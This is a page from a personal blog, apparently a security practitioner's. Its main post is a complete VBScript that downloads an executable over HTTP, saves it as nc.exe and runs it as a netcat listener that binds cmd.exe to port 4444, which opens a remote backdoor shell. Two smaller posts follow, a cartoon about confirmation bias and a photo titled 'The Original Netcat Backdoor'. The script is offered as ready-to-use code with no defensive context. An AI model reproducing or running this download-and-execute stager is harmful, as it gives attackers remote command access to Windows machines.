Mike Murr

Solving Technological Problems With Behavioral Science

Connect

  • Email
  • RSS
  • Twitter

Copyright © 2025 · Mike Murr · All Rights Reserved

Copyright © 2025 · MikeMurr Theme on Genesis Framework · WordPress · Log in

VBScript to Download a File (Over HTTP) and Execute It

November 6, 2013 by Mike 5 Comments

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2

shell_obj.run RUNCMD

Filed Under: Code Tagged With: vbscript

The Problem With Conspiracy Theorists

July 27, 2012 by Mike Leave a Comment

Confirmation Bias

Confirmation Bias
Everything you look for, and all that you perceive has a way of proving whatever you believe.

 

Filed Under: Funny, General Tagged With: cartoon, conspiracy

The Original Netcat Backdoor

July 24, 2012 by Mike Leave a Comment

The Original Netcat Backdoor
Photo by Stephen Hanafin

Filed Under: Funny Tagged With: backdoor, infosec, netcat

  • « Previous Page
  • 1
  • 2
  • 3
  • 4
  • Next Page »